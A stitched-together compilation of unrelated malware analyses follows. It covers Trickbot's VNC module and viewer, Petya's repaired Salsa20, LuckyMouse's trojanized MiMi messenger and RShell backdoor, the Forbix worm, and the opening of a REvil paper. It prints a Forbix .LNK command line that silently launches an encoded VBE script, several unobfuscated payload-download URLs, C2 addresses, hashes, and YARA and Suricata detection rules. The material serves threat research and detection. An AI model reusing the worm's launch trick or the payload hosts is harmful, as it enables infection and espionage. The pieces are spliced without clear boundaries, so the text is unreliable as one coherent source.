The clipboard messages have the following format: The size of the clipboard plus one encoded as a WORD, followed by the marker “\x44\xBB” and the clipboard encoded as wide characters truncated to a maximum of 512 (so, a max of 1024 1-byte characters).
One more thing to mention is that the module always sends 1024 bytes after the header, leading to out-of-bounds memory reads and the leaking of memory contents from the victim’s computer. There is one other message that can be sent (0xBB440001), that shows the module wasn’t able to create the alternative desktop, after which it closes the connection.
The server sends its commands as follows: lParam (4 bytes), 4 unused/padding bytes, wParam (4 bytes), another 4 unused/padding bytes, and then the message (4 bytes) and is decoded in the following way.
The window messages are processed as expected, simulating mouse clicks or key presses on the virtual desktop that was created. Besides the usual messages, the module processes a few control messages, probably coming from the attacker’s interface, such as forcing the module to resend a screenshot or gracefully exiting the session. Using this knowledge, a client can be implemented to test its functionality.
During normal operation, the alternate desktop is created and fully controlled by the module, copying the icons from the desktop, creating a custom taskbar for managing its processes, and creating a custom right-click menu, containing custom functionality.
Most of the options just open programs from the machine, but through Cmd.exe, the threat actors can perform several high-impact actions leveraging PowerShell, such as:
- Download new payloads to further propagate the attack inside the network.
- Open different documents or the email inbox.
- Upload data from victims’ computers to the command-and-control servers.
The last option (Native Browser) adds a password dumping functionality and is in active development, with multiple weekly updates. By default, it creates its own browser using the OLE automation feature for Internet Explorer. The buttons on the left of the navigation bar are supposed to be used for password dumping and should work for Chrome, Firefox, Opera, and Internet Explorer, but this functionality properly works for Internet Explorer only. In the last update that we know for this module, the password dumping for Firefox was in the works, but for now, it doesn’t seem to function as expected.
The vncDll module was used by the Trickbot threat actors since 2018 (based on the compiled time for the files found in our malware collection), but the new updated version was released in the wild on May 11th, 2021 (based on the same background research).
### The Viewer Tool
While searching for older versions of the module, we stumbled upon a very old one (e2916d8061258fc1c52739209b192406), with the compile time of 2019-04-29 08:19:47, referencing a PDB with a very unusual path. This led us to find another file (3bd25b1989db5802d0cf68ae3d532e87) with a similar path. This second file (that we will further call “the viewer”) is the client the attackers use to interact with the victims through the C2 servers. This gave us a “behind the scenes” look at how Trickbot operators are facilitating access on the victims’ computers to their clients and on how their tools for interactions with the victims are working.
The viewer seems to be using a hardcoded IP address to communicate with the victims (even if the interface indicates otherwise, the connection function rewrites the user input). This server is behaving similarly to the other C2 servers, the setup part of the protocol being used to either retrieve the list of victims and their state or to initiate the forwarding of messages between the clients and the victims.
The viewer can obtain the bot id of a victim either by asking the hardcoded server for a list of victims or by user interaction, through the interface or by accessing a webserver handled by the viewer at http://127.0.0.1:80/vncstart. When the viewer needs to obtain the list of victims, it sends the marker “\x01\x02\x03” to the baked-in server, and the server responds with an array of structures detailing the bot id and the state of the bot. This array is parsed, displayed in a list of bots, and stored locally in a file called vnclist located in the same directory as the viewer itself.
The structure for one entry in the array looks as follows:
| Value of the status field | Status description (taken literal from the code itself) | Description |
|--------------------------|---------------------------------------------------------|-------------|
| 0 | ??? - unknown | No information is currently available |
| 1 | offline | The victim is offline |
| 2 | busy | Someone is already connected to the victim |
| 3 | blocked | Victim is somehow banned |
| 10 | online | The victim is online and ready to be interacted with |
The most common values for the status field are 1, 2, and 10 (offline, busy, and online), the value of 0 is set when the user enters a bot id. If we connect to the server and ask for the list of victims, we can observe something odd: some values for the bot id field don’t have the format of a bot id. A bunch of entries in the list start with “TEMP:CP-” followed by a UUID. This could be a developer of the module testing it using a custom module loader tool.
The bot id is then used to communicate with that victim. This is done by sending the marker “\x05\x01\x00” (technically it would be “\x05\x01\x00\x01”, but the send function is specified to only send 3 bytes) and the bot id. At this point, if the victim is online and no one else is connected to the server, the attacker will send a marker to the victim to start the screen sharing process, and it will now only be used to forward packets between the client and the victim.
A statistic that we were able to extract during our investigation shows that the interval that a victim was in the online state (waiting for an attacker to connect) was between 14 and 46 minutes and the interval an attacker was connected to a victim to send commands was from 1 minute to 29 minutes.
### Online/Busy Sessions
| DAY | BOTS ONLINE | AVG NUMBER OF MINUTES SPENT ONLINE | AVG NUMBER OF MINUTES SPENT BUSY |
|-----------|-------------------------------------------------|-------------------------------------|-----------------------------------|
| 5/21/2021 | 7A7BB7EE73B39FB5D0907FCF691552BB | 14 | |
| 5/24/2021 | B6582EEF39568179253764078FF7B37D | 37.33 | 29.5 |
| | BBAB9DBFD53B1DDFDFBC33B4D25F414B | | |
| | FFDF73B813BB48B95399B7F4C33750CB | | |
| | B17675C6F3FBF8595482BB6B71B7643F | | |
| | BB33B3BB33BB3B3B3BBCE7D734465B89 | | |
| 5/25/2021 | B6582EEF39568179253764078FF7B37D | 30 | 9.67 |
| | 02099117A64BB6D09D5952EB37FF7AA5 | | |
| | BB3251DD6DBFF9397B94CBB9D1395ACB | | |
| | B17675C6F3FBF8595482BB6B71B7643F | | |
| | 5A8B3667BB3083FF87FBB395B37563B3 | | |
| | BB33B3BB33BB3B3B3BBCE7D734465B89 | | |
| | 338F5B8B3B38BBDB25F773DDF7DCBBAF | | |
| | EF33B5DF15385B799C171D2BB9E50F3B | | |
| 5/27/2021 | BB7137A177FC5F951D3383B19CF7B721 | 32 | 4 |
| | F13F468DBDC8BBABFB711ABFBF91DF62 | | |
| | BE0A9BF57B3BA407170633BB99750CD3 | | |
| 5/28/2021 | 320B9DD0233B13F7F99F7FE0BF5B3FBB | 30 | |
| | BBC773FB7437B96B359BB3B3067D933B | | |
| | BB342F9D6D2FFB4C991A44BBA56199E2 | | |
| 6/5/2021 | 4BB94B32E237B383F5458B3E71F3D3D3 | 30 | |
| 6/7/2021 | 31EE4BB68D3591F73CD3BB9E15B9B2EB | 46.33 | 9.5 |
| | 338F5B8B3B38BBDB25F773DDF7DCBBAF | | |
| | EF33B5DF15385B799C171D2BB9E50F3B | | |
| 6/9/2021 | 3FFB81F3AFFBBCF55F7683FB9D557DC2 | 40 | 1 |
| 6/15/2021 | 0CDBB4A9F9141337AA9FF4403B3A9511 | 45.43 | 4 |
| | 7B17B3FF33D9F7B540BB093151A2E7B3 | | |
| | BB3251DD6DBFF9397B94CBB9D1395ACB | | |
| | 5BB3BC0BBF93F31F1B77EE9DF39334EA | | |
| | 9D7FBF76155241DB8915D97715531DBB | | |
| | 1FF2D737B737D16233BA7857250BB773 | | |
| | 77B1BBAA31525073F1AFF9C3B3313FDF | | |
### Viewer Tools
In our research, we observed the three C2 servers found in the vncconf configuration file have the same bot ids. Correlating this with the fact that only one server is baked in the viewer and that it uses a different port than the normal servers (port 5900, while the other C2s use 443), we concluded that all public C2 servers are proxying data (directly or through a few layers) to the server in the viewer.
### Indicators of Compromise
An up-to-date and complete list of indicators of compromise is available to Bitdefender Advanced Threat Intelligence users.
```plaintext
rule vncview {
meta:
author = "Radu Tudorica"
description = "Trickbot’s internal tool for interacting with vncDll/tvncDll victims"
strings:
$html = "<head><meta http-equiv=\"refresh\" content=\"0; URL=%s\"/></head>"
$url = "http://127.0.0.1:80/vncstart" wide
$status1 = "???"
$status2 = "off-line"
$status3 = "busy"
$status4 = "blocked"
$status5 = "on-line"
$s = "VNC Server ID:" wide
condition:
($html and $url) or ((all of ($status*)) and $s)
}
rule trickbot_vnc_module {
meta:
author = "Radu Tudorica"
description = "Trickbot’s vnc module"
condition:
(pe.exports("Start") and pe.exports("Control") and pe.exports("FreeBuffer") and pe.exports("Release")) and
(pe.exports("NetServerStart") and pe.exports("NetServerStop"))
}
```
### vncDll/tvncDll Modules
| MD5 hash | Compile time |
|--------------------------------------------|----------------------------|
| 6aef3296553e0aaf0e4f0659947c8497 | 2018-12-20 11:40:06 |
| e2916d8061258fc1c52739209b192406 | 2019-04-29 08:19:47 |
| 0ab29fb3e27c67f082328550e55d7b2b | 2019-08-30 17:57:16 |
| 6042e039ef260a7385d72ee947846172 | 2019-08-30 17:57:29 |
| f1102b24fee1a98df9e8b847532f22d5 | 2019-09-04 17:34:15 |
| e946bad3a605b1df178fe70b5b001235 | 2019-09-11 18:20:38 |
| 987de9ce70e272a86c063fefe43e41bf | 2019-09-16 12:08:35 |
| 4cb28de0bc97dc8ae67311516694d6c5 | 2019-12-19 18:37:50 |
| 05566a2f11aa1b3d8d2b322878b46ff7 | 2019-12-19 18:38:13 |
| d9214badc75c4fd9d5302f65410e3edb | 2020-01-10 10:47:02 |
| 30804bbfe985e5ecd685a6cfcd77a3f7 | 2020-01-10 10:47:21 |
| 203f0082dc1944bf0978603a608b2ae8 | 2020-01-10 15:57:51 |
| 018cf114c397b6e69a7ee1456a4dfc84 | 2020-01-10 15:58:11 |
| 4723d1ba7eaa9d27e47005ebbf4c40e0 | 2020-01-15 13:07:42 |
| 596c67af0e1eede4ad25b68244e8b564 | 2020-01-15 13:07:55 |
| c0a56755d6d2e69faf34ef0f35accb42 | 2020-01-17 13:52:19 |
| 78c6ff8c5deb60411fcbecea6cec51ea | 2020-01-17 13:57:21 |
| 7dd68ccb4ed06d3cc832158390b36d30 | 2020-02-05 19:50:20 |
| 41269382fb65617d9246b4761ed4f2cb | 2020-02-05 19:50:36 |
| 42fd0ff40929dee63dea51352a111310 | 2020-02-11 10:34:31 |
| b2f59339039fbd6eee71b6a07c2b6e2e | 2020-02-11 10:34:31 |
| 1e48b373a9b55c4b76b82dda58b61f14 | 2020-02-11 10:34:46 |
| e31f0609fa727592013052f1849795a8 | 2020-02-11 10:34:46 |
| 22d875ba9ca40e96058f934237fc03ec | 2020-07-13 18:22:24 |
| ff6f4557e8bf7663fb5802719af716be | 2020-07-13 18:31:05 |
| bc88b1f77969823a4f04aecb5c861b48 | 2020-07-17 12:05:47 |
| 3866fe4eae9b1bbc35e0b2fa67501eda | 2020-07-17 12:09:19 |
| 86042a47266e0258f261ba93161c76c0 | 2020-07-27 16:52:13 |
| 0d881b0dc664c9ba389d12a416667b83 | 2020-07-27 16:56:36 |
| 2cd9734d02a58847a40098a52b3b6541 | 2020-10-01 12:01:45 |
| ee2bbce67b77e10727e8064d56a1b185 | 2020-10-01 12:01:45 |
| e6428f29d769601491bb32682871f3e5 | 2020-10-13 00:46:31 |
| 2b7bc36504fbbe134e8a2203ae9e7eb6 | 2020-12-24 22:18:17 |
| 7ec473f5b5841f649fa14431bc830915 | 2021-01-15 17:00:54 |
| e325d8f9f815aa31d522f275e9e98636 | 2021-01-21 14:12:33 |
| 0fd0db8274d43b6fc77f1b9ebbdb039d | 2021-03-22 14:56:05 |
| 8c8a59b04114189139db177c1831eeea | 2021-03-22 14:56:05 |
| 43d8978d656f47c7a20a305245a5d61e | 2021-03-22 15:22:42 |
| 7c1b41a592dc9656dcaab82998dcff01 | 2021-03-22 15:22:42 |
| f14af5e2dd034bfae624b06f7445dc7c | 2021-03-24 16:18:27 |
| 85f43963a5e4f3e808654d2f6ba8e7ba | 2021-03-24 16:18:49 |
| b099de385032c4186adf27467516ed0d | 2021-04-19 14:19:00 |
| 1483dfa7c71da01458b691482724abf0 | 2021-04-19 14:20:39 |
| 08a8a5afc6af0608842c0b4162771084 | 2021-04-20 15:38:26 |
| d70971d537a14857d72390a616e13303 | 2021-04-20 15:38:26 |
| 64a063f2a0218d1d70001f38503b0788 | 2021-04-20 15:39:54 |
| a8fa658313f88db2b2476081794d8079 | 2021-04-20 15:39:54 |
| c54f958376f35520e248c277488b9cb0 | 2021-05-11 11:30:49 |
| 856207959766b05d30f7f7d3125fe599 | 2021-05-11 12:24:53 |
| 95d30e6ccf6982146523276a097ac6d3 | 2021-05-12 22:20:07 |
| 9aa06c006431ff37e000675c1913a812 | 2021-05-12 22:20:07 |
| 0b5e4a0acb571a5c53db89d09f8d173b | 2021-05-12 22:20:53 |
| 35fd5b78f8a2b60b060fa7a66d1e44e1 | 2021-05-12 22:20:53 |
| 7d55d26f840437e1c34c20da08822013 | 2021-05-17 17:49:57 |
| 3c94cc2f3c1629bad971b2f69c36c252 | 2021-05-18 18:05:55 |
| 857c71b682d1d60d455ae660c0bbcfdf | 2021-05-18 18:05:55 |
| 289d14c89b3ec655b29a7e656261ad91 | 2021-05-18 18:09:17 |
| d9e30fef6b6c1fac44ea1b124a057178 | 2021-05-18 18:09:17 |
| 53eea0b33eaabdf910f3410bb4aa7b47 | 2021-05-26 23:42:26 |
| e2852eb113ec8c227ce4f3527a613648 | 2021-05-26 23:42:26 |
| 28ac5562ecf5d4aca3a96f47b4d0f1e6 | 2021-05-27 13:58:39 |
| 447ddd3673a01f4fffb955545a13f8f8 | 2021-05-27 13:58:39 |
### Why Bitdefender
Bitdefender provides solutions and services for small business and medium enterprises, service providers, and technology integrators. We take pride in the trust that enterprises such as Mentor, Honeywell, Yamaha, Speedway, Esurance, or Safe Systems place in us.
Bitdefender is a proud technology alliance partner to major virtualization vendors, directly contributing to the development of secure ecosystems with VMware, Nutanix, Citrix, Linux Foundation, Microsoft, AWS, and Pivotal. Through its leading forensics team, Bitdefender is also actively engaged in countering international cybercrime together with major law enforcement agencies such as FBI and Europol, in initiatives such as NoMoreRansom and TechAccord, as well as the takedown of black markets such as Hansa. Starting in 2019, Bitdefender is also a proudly appointed CVE Numbering Authority in MITRE Partnership. |
# Third time (un)lucky – improved Petya is out
So far we dedicated several articles to the interesting, low-level ransomware called Petya, hijacking the boot sector. Each of those versions was using Salsa20 algorithm to encrypt Master File Table and make disk inaccessible. However, due to the implementation bugs the intended algorithm was weakened – giving a chance to recover data. Unfortunately, as always in such cases, it is just a matter of time when cybercriminals get their cryptography fixed. Petya’s authors got it right at the third attempt. The currently launched wave of this ransomware finally seems to have the proper Salsa20.
## Behavioral analysis
Behavior of Petya didn’t change – we can see exactly the same UI like in the previous green edition. Let’s take a look at differences in the code. Using BinDiff we can spot that not many functions have changed. However, those that were giving weak points to the previous edition are modified.
### Salsa20
First of all, let’s take a look at the function `s20_littleendian` that was causing the major bug in the last release. Due to its invalid implementation, only 8 out of 16 characters of the key were meaningful and bruteforcing the key was easier (working solution has been implemented by procrash). Detailed explanation of this bug you can find in the updated post about the previous Petya – under the section “New Petya, new bug”.
The old implementation was truncated – it didn’t use 32 bit values as it should – only added a sign bit expansion to the 16 bit value:
```c
static int16_t s20_littleendian(uint8_t *b) {
return b[0] + (b[1] << 8);
}
```
Now, authors got the proper implementation, using 32 bits. So, the last bug in Salsa20 got finally fixed, making implementation complete.
### Key
In the first (red) version of Petya, authors used a 32 byte long Salsa key – that was, however, generated from the 16 byte long key, using a custom function to pre-process it and extend. In the second – green edition, they gave up this idea and applied the original 16 byte long key, without any modification. This time, they changed their mind and went back to the first solution of using a 32 byte long key, yet with some improvements. Again we can see `expand32` in the code (instead of `expand16` known from the previous edition). When the victim inserts the key for the verification, before using it as a Salsa20 key, it is preprocessed by a new algorithm (more complex than in case of Red Petya).
## Conclusion
New edition shows that the project is reaching maturity – however, as we can read on the associated onion page – it is still a beta version and we can expect that it will keep evolving. We are not yet sure about the distribution method, but probability is high that also this time it is spam with a link leading to cloud storage. We strongly advise to be extra vigilant for the job applications coming these days – it has proven to be a common cover for Petya/Mischa dropper. More information about it you can find in our previous articles about Petya.
This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going into details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade. |
# LuckyMouse uses a backdoored Electron app to target MacOS
This blog post on LuckyMouse is an extract of the “FLINT 2022-045 – LuckyMouse uses a backdoored Electron app to target MacOS” report (SEKOIA.IO Flash Intelligence) sent to our clients on August 10, 2022. Note: TrendMicro has published on the same campaign under the title: “Iron Tiger Compromises Chat Application Mimi, Targets Windows, Mac, and Linux Users“.
## Summary
During a review of the HyberBro Command and Control (C2) infrastructure linked to the China-nexus LuckyMouse intrusion set, SEKOIA spotted an unusual connection with an application. Further investigation led to identify this application as “MìMì” (秘秘 – “secret”, aka Mi). Mimi is a Chinese-speaking Electron App developed by Xiamen Baiquan Information Technology Co. Ltd. SEKOIA established that “MìMì” Messenger’s MacOS version is trojanized since May 26, 2022, to download and execute a Mach-O binary dubbed “rshell”.
At this stage, SEKOIA is not able to assess the objective of this campaign. As this application’s use in China appears low, it is plausible it was developed as a targeted surveillance tool. It is also likely that, following social engineering carried out by the operators, targeted users are encouraged to download this application, purportedly to circumvent Chinese authorities’ censorship.
This is not the first time a messaging application dropping an implant connecting to the LuckyMouse infrastructure is observed. In 2020, our ESET fellows uncovered compromised versions of Able Desktop, a messaging application widely used in Mongolia in the “StealthyTrident” operation. In this campaign, Able Desktop was used to drop several implants, including PlugX, Tmanger, and HyperBro, known to be a part of the LuckyMouse tool set.
However, this is the first time that SEKOIA observed LuckyMouse targeting MacOS. Moreover, if this application is exclusively used by Chinese citizens, it would be the first time that we identified LuckyMouse involved in domestic surveillance. This FLINT presents our findings on this campaign, including a description of the Rshell implant and associated IOCs.
## “MìMì” Messenger backdooring
The “Mi” Application is an Electron messaging app available for Android, iOS, Windows, and MacOS platforms. As Mi is not widely promoted, and its related website doesn’t display a detailed description, general conditions of use, or social media links, SEKOIA rapidly questioned its legitimacy.
Moreover, the website hosted files were last modified on July 26. Based on the Apple Store change logs and Passive DNS, we figured that the first traces of this application date back to June 2020. However, SEKOIA was not able to assess whether this application is legit, or if it was designed or repurposed as a surveillance tool. Additionally, based on our open-source investigations, it is not possible to assess whether Xiamen Baiquan Information Technology Co. Ltd. is a legit or a shell company.
The MacOS version of the “Mi” Application is an Electron App packaged in an Apple Disk Image file. This application seems to be functional, where end users simply register themselves to be able to discuss with their contacts. However, in version 2.3.0, published on May 26, 2022, the `./mimi.app/Contents/Resources/app/electron-main.js` file was trojanized. This was implemented by placing a Dean Edwards Packed JavaScript code at the beginning of the `module.exports` function.
This code, executed at runtime, checks if the environment is MacOS (darwin) and then downloads the “rshell” implant from 139.180.216.65, an IP address already associated with LuckyMouse HyperBro C2. The retrieved payload is written in the temp folder, chmoded with execution permission, and then executed.
While SEKOIA analysts checked Windows, iOS, and Android versions of the app, no backdoor was found in the current versions. However, TrendMicro found old Linux and Windows versions backdoored.
## RShell Mach-O implant
The downloaded implant, named RShell by its developers, is written in C++ and embeds the Boost.Asio and nlohmann/json libraries. This backdoor uses BJSON (Binary JSON) over TCP sockets to communicate with its command and control server, without any encryption and does not display a persistence mechanism.
Upon execution, RShell backdoor attempts to connect with the C2 server. This “Hello message” to the C2 server contains:
- a random GUID, added to each response to the C2 server
- the hostname
- the IPv4 addresses
- the type of connection (“login” for instance)
- the current username
- the kernel version.
RShell backdoor accepts two “types” of commands: “cmd” and “file”. The group “cmd” contains three commands:
- `init()`: start a bash
- `data(data)`: write data to the bash
- `close()`: ends up the bash.
The second type of commands, “file”, enables interactions with the filesystem:
- `dir(path)`: returns a list of files and subdirectories for the specified path
- `init()`: returns a list of files and subdirectories for the root filesystem (equivalent to `dir("/")`)
- `down(path)`: opens a file in binary and read-only mode and returns the size of the file
- `read(path)`: reads the specified file. The file must first have been opened with the down command
- `upload(path)`: opens a file in binary and write-only mode
- `write(data, path)`: writes data to the specified file. As for the read command, the file must first have been opened with the upload command before
- `del(path)`: delete the specified file or directory
- `close(path)`: closes the file.
A keepalive message is sent to the C2 server every 40 seconds. The server must echo this message. Based on this observation, we created a Suricata rule to spot this threat in your network flows.
## Links with LuckyMouse
Infrastructure links were established between the China-nexus Intrusion Set LuckyMouse and this operation. Of note, in the course of our investigation, the same HTTP server also served a HyperBro which was configured to communicate over HTTPs to 139.180.216[.]65. The malicious DLL of this HyperBro sample was signed by a certificate known to be stolen and then used by LuckyMouse. The files launching this sample were accessible at the following URLs:
- http://139.180.216.65/dlpumgr32.exe
- hxxp://139.180.216.65/dlpprem32.dll
- hxxp://139.180.216.65/dlpprem32.bin
Secondly, both LuckyMouse and RShell operators use the same IP range, namely 103.79.76.0/22. While this IP range was recently used by LuckyMouse, notably to host three HyperBro C2 servers (103.79.77[.]200, 103.79.76[.]232, 103.79.78[.]48), two RShell C2 were also identified at 103.79.76[.]88 and 103.79.77[.]178.
Finally, as documented by ESET, compromised messaging applications were already leveraged by LuckyMouse in past activities and this Intrusion Set was observed using Dean Edwards Javascript packer in previous watering hole campaigns.
## Conclusion
Based on our investigations, SEKOIA associates this activity to LuckyMouse with high confidence. It is plausible this activity indicates an expansion of LuckyMouse’s mandate, now including surveillance. However, as this Intrusion Set was mostly observed continuously carrying out espionage activities, notably against the technology and governmental sectors, SEKOIA assesses this hypothesis is unlikely.
At the time of writing, SEKOIA refrains from making any assessment on the Intrusion Set’s motivation and will continue to closely monitor their activities. Regardless of LuckyMouse’s goals, it is of particular interest to observe the targeting of the MacOS environment. SEKOIA assesses this Intrusion Set will continue updating and improving their capabilities in the short term.
## IOCs & Technical Details
### Related infrastructure
- 103.79.76[.]88
- 103.79.77[.]178
- 139.180.216[.]65
### RShell hashes
- 8c3be245cbbe9206a5d146017c14b8f965ab7045268033d70811d5bcc4b796ec
- 3a9e72b3810b320fa6826a1273732fee7a8e2b2e5c0fd95b8c36bbab970e830a
### Compromised DMG images
- f6e0e5c9b9d43e008805644d937770b399f859cbba475ad837805d9adec13a2c 2.3.0.dmg
- 4742c1987fdd968d7f094dc5a3ea3e9b5340b47e5a61846ac6ac7ae03fc7288f 2.3.1.dmg
- 64e771c894616100202e83f3574f8accc8453138af6709367c99157e33bb613a 2.3.2.dmg
- 466981b6aa38ae35a2c0e21a2066b4e803cc0bf76409eeb605892604c20ccf3a 2.3.3.dmg
### HyperBro implant
Warning: dlpumgr32.exe is a legit file
- ef2f20d1016cd39ff44f1399c8aa5c1ff5bfd4850d611ba375fbeff7f7e3eaf6 dlpprem32.bin
- 22c3c2bf77a94ed5f207c00e240f558d6411308d237779ffb12e04bbe2c90356 dlpprem32.dll
- 07758c93ba33843a9c5603f900f2ad0231c64ec77f6bba6de83ed6e2902022e4 dlpumgr32.exe
### YARA rules
```yara
rule apt_LuckyMouse_RShell_strings {
meta:
id = "89f18013-ea3e-440f-821e-cef102a43b7b"
version = "1.0"
malware = "RShell"
intrusion_set = "LuckyMouse"
description = "Detects LuckyMouse RShell Mach-O implant"
source = "SEKOIA"
creation_date = "2022-08-05"
classification = "TLP:GREEN"
strings:
$ = { 64 69 72 00 70 61 74 68
00 64 6F 77 6E 00 72 65
61 64 00 75 70 6C 6F 61
64 00 77 72 69 74 65 00
64 65 6C }
$ = { 6C 6F 67 69 6E 00 68 6F
73 74 6E 61 6D 65 00 6C
61 6E 00 75 73 65 72 6E
61 6D 65 00 76 65 72 73
69 6F 6E }
condition:
uint32be(0) == 0xCFFAEDFE and
filesize < 300KB and
all of them
}
rule apt_LuckyMouse_Compromised_ElectronApp {
meta:
id = "7702217d-771f-47af-8eaa-d5acf1e14f4d"
version = "1.0"
intrusion_set = "LuckyMouse"
description = "Detects compromised ElectronApp"
source = "SEKOIA"
creation_date = "2022-08-05"
classification = "TLP:GREEN"
strings:
$s = "module.exports=function(t){eval(function(p,a,c,k,e,r)"
condition:
$s at 0 and filesize < 100KB
}
```
### Suricata rule
```suricata
alert tcp $HOME_NET any -> $EXTERNAL_NET any (flow: from_client,
established;content:"|19 00 00 00 02 74 79 70 65 00 0a 00 00 00 6b 65 65 70 61 6c
69 76 65 00 00|";dsize:25;msg:"Detects a LuckyMouse RShell beaconing
packet";sid:XXXXXXXXX; rev:001; threshold: type limit, track by_src, seconds 500,
count 1;)
```
Would you like to know more about our solutions? Do you want to discover our XDR and CTI products? Do you have a cybersecurity project in your organization? Make an appointment and meet us! You can find out how we track threats on our SOC platform SEKOIA.IO. |
# Windows Worms: Forbix Worm Analysis
Anyone heard about Forbix worm? Good. Lots of us know how difficult it is to remove a worm from an infected system or network. Of course, it depends on multiple factors, like the way it spreads, persistence mechanisms, disguise techniques used once the machine is infected, reinfection methods, etc. These days, when someone says “Windows worm,” we usually expect a highly sophisticated piece of malware, exploiting a 0-day/1-day vulnerability and “preferably” this vulnerability being in a service listening on a specific port exposed to the whole world. This may be the case with ransomware like WannaCry, but it is definitely not applicable to Forbix malware.
Not so long ago (year 2019), I got hold of a PC that kept beaconing to a C2 server even after being re-imaged several times. And nope, the image was clean. Based on the domain name this malware kept trying to connect to, it was very easy to determine that it is indeed Forbix. This worm is about 3 years old, written in Visual Basic and not obfuscated at all, yet it kept reappearing after that PC was re-imaged several times.
## General Information
Forbix is a Windows worm written purely in Visual Basic. First references about it date back to March 2016. Based on the sample found recently, it looks like it wasn’t updated since then; however, this strain is still alive even now.
| File Name | Checksum | Size |
|--------------------------|--------------------------------------------------------------|-------|
| Manuel.doc | d838aaf8d656b7d8d0f48d13646e677eaad35f20 | 11.1K |
| SysinfY2X.db | d838aaf8d656b7d8d0f48d13646e677eaad35f20 | 11.1K |
| SysinfY2X.db (decoded) | e41c395013e1a72477eb4b02429d38d0eef2e82e | 10.2K |
There are several states this malware can be in, as described later in this article: Active and Passive states. Forbix is stored on the disk in its passive state, which is the encoded version of the actual script (VBE script). This is performed with Microsoft’s default VBScript.Encode functionality. Because of this particularity, multiple AV solutions do not flag it as malicious, as it is not an executable file.
I was surprised to see that, at the time of this writing, about half of VirusTotal engines do not find the decoded version malicious (28/53): MalwareBytes, Comodo, F-Secure, F-Prot, Avira. It gets even more interesting when I change the C2 domain and the names of files this malware creates: 21/53. This time Kaspersky, Microsoft Defender, Sophos, McAfee, and ClamAV also made it onto the list.
## Forbix .LNK Files
You are probably wondering how this .vbe script gets executed on the victim's machine. Well, it’s all about .LNK files. They are created on an infected machine, replacing original folders.
```
"C:\Windows\system32\cmd.exe" /c start wscript /e:VBScript.Encode Manuel.doc & start explorer <REPLACED_FOLDER_NAME>
```
Once double-clicked, this .LNK file executes the VBE Script from Manuel.doc and then opens the hidden original folder. This way, most users never suspect that something is wrong.
## Forbix SysinfY2X.db File
In its stored (passive) state, this file is similar to Manuel.doc and is an encoded version of the malware. Because the author used the default VBS encoder provided by Microsoft, it is easy to obtain the original version. Thanks to Didier Stevens for this awesome script.
```
python decode-vbe.py SysinfY2X.db > decoded_sysinfy2x.vbs
```
Once successfully decoded, let’s analyze the script, which, by the way, isn’t even obfuscated. From the beginning of the file, we already see a bunch of global variables, which are never changed during the script execution. These can easily make it into our IOCs list.
It looks like the C2 Server was behind realy[.]mooo[.]com. Here’s an interesting fact: By changing these variables’ values, Windows Defender, Kaspersky, and Sophos AVs stop picking up this malware. It seems we are still in the Era of Strings Searching and Matching.
Following is the main (infinite) loop of the worm. It runs every 2 seconds and connects to the C2 server every 60 seconds. This sample has 5 major functionalities:
- Infect available drives
- Add persistence
- Protect itself against removal
- Self-update and execute stage 2 payload
- C2 communications
All these are implemented in the following functions: `infect_drives`, `infect_registre`, `protect_del`, `kill_old`, `serv_vmd`, and all of them are called inside the infinite loop.
### infect_drives() Function
This function checks for all available drives and infects only removable, CD-ROM, and network drives (DriveType: 1, 3, 4), avoiding the System Drive.
The first step in drive infection is self-replication. The malware checks if the selected drive is not the System Drive and copies itself to the root directory of the drive. If Manuel.doc already exists, this file is overwritten. Also, once created, the attributes of this file are set to ReadOnly, Hidden, and System (Attribute: 1, 2, 4).
The next phase is about .LNK file creation and hiding original files. This also applies to folders; the malware changes folder attributes, making them hidden and creates .LNK files using the same name and icon. As mentioned earlier, by means of .LNK files, this malware infects new machines via USB drives, CDs, and network drives.
### infect_registre() Function
It is responsible for making the malware persistent. It creates one new Registry Key named with the current active name of the program inside `\Software\Microsoft\Windows\CurrentVersion\Run\`.
### protect_del() Function
This function is responsible for maintaining an up-to-date copy of the script in the Windows temporary directory by overwriting the existing one (if any).
### kill_old() Function
In order to keep just one (newest) version of the worm running, the `kill_old` function is called periodically to remove the remaining artifacts of the previous Forbix.A version.
### C2 Communications
During the self-update process, `get_new_v` and `bot_up` functions are called. These are responsible for preparing files of the new version of the worm and executing it, respectively. Besides that, the `bot_up` function is also used to execute stage 2 modules, which are being downloaded from the C2 server.
C2 communications with the server is implemented around 3 commands:
- `ping` - used to notify the attackers that the bot is running
- `list` - used in stage 2 infection. It contains these parameters:
- `from` - Stage 2 payload URL
- `size` - Size of the payload
- `to` - Destination folder to copy the executable
- `lancer` - Optional. Specifies the way to execute the payload (wscript.exe, etc.)
- `<size>+<name>` - Used to get the new version of malware
## Conclusion
Since early 2016, Forbix has been found in the wild, infecting Windows PCs. Even if it doesn’t use any sophisticated techniques to spread, persist, and load payloads, multiple AV engines still fail to detect and remove it. It seems there are still multiple requests to the realy[.]mooo[.]com domain nowadays. If you have an old USB drive and are unsure whether to access the files on it or not, make sure to scan it. Before opening any folder or file, check if the “Manuel.doc” file exists in the root directory of the drive. |
# Introduction
In our previous research, we investigated a ransom cartel and conducted a study on ransomware gangs and their links to Russian intelligence organizations. Now, we are conducting a use case into one of the world’s most notorious ransomware gangs, REvil. This particular case is fascinating because the gang has existed for several years, conducted many high-profile attacks, inspired several spin-off gangs, and ultimately caused major turmoil among partnering hackers who supported them. While many researchers and media organizations have produced reports on REvil, most accounts detail specific attacks, telling only part of REvil’s story. The purpose of this white paper is to provide a “big picture” assessment of the REvil crime organization by presenting a “cradle to grave” evaluation of the actors behind it and their operations over time. Additionally, there are lessons we can learn from a criminal organization that, for the most part, had success where others failed. Overall, we think REvil presents an opportunity for analysts and defenders to learn from.
## Goals
Analyst1 conducted research to address the following goals:
1. Show an inside view of REvil, their affiliates, and the “human” side of their operation through their own words and actions within the underground criminal community.
2. Profile REvil, their significant events, and the impact each event caused.
3. Identify REvil affiliates and detail how they integrate and operate within ransomware operations.
4. Identify areas of success and failure which eventually led to REvil’s demise and how it impacted the ransomware community.
# Executive Overview
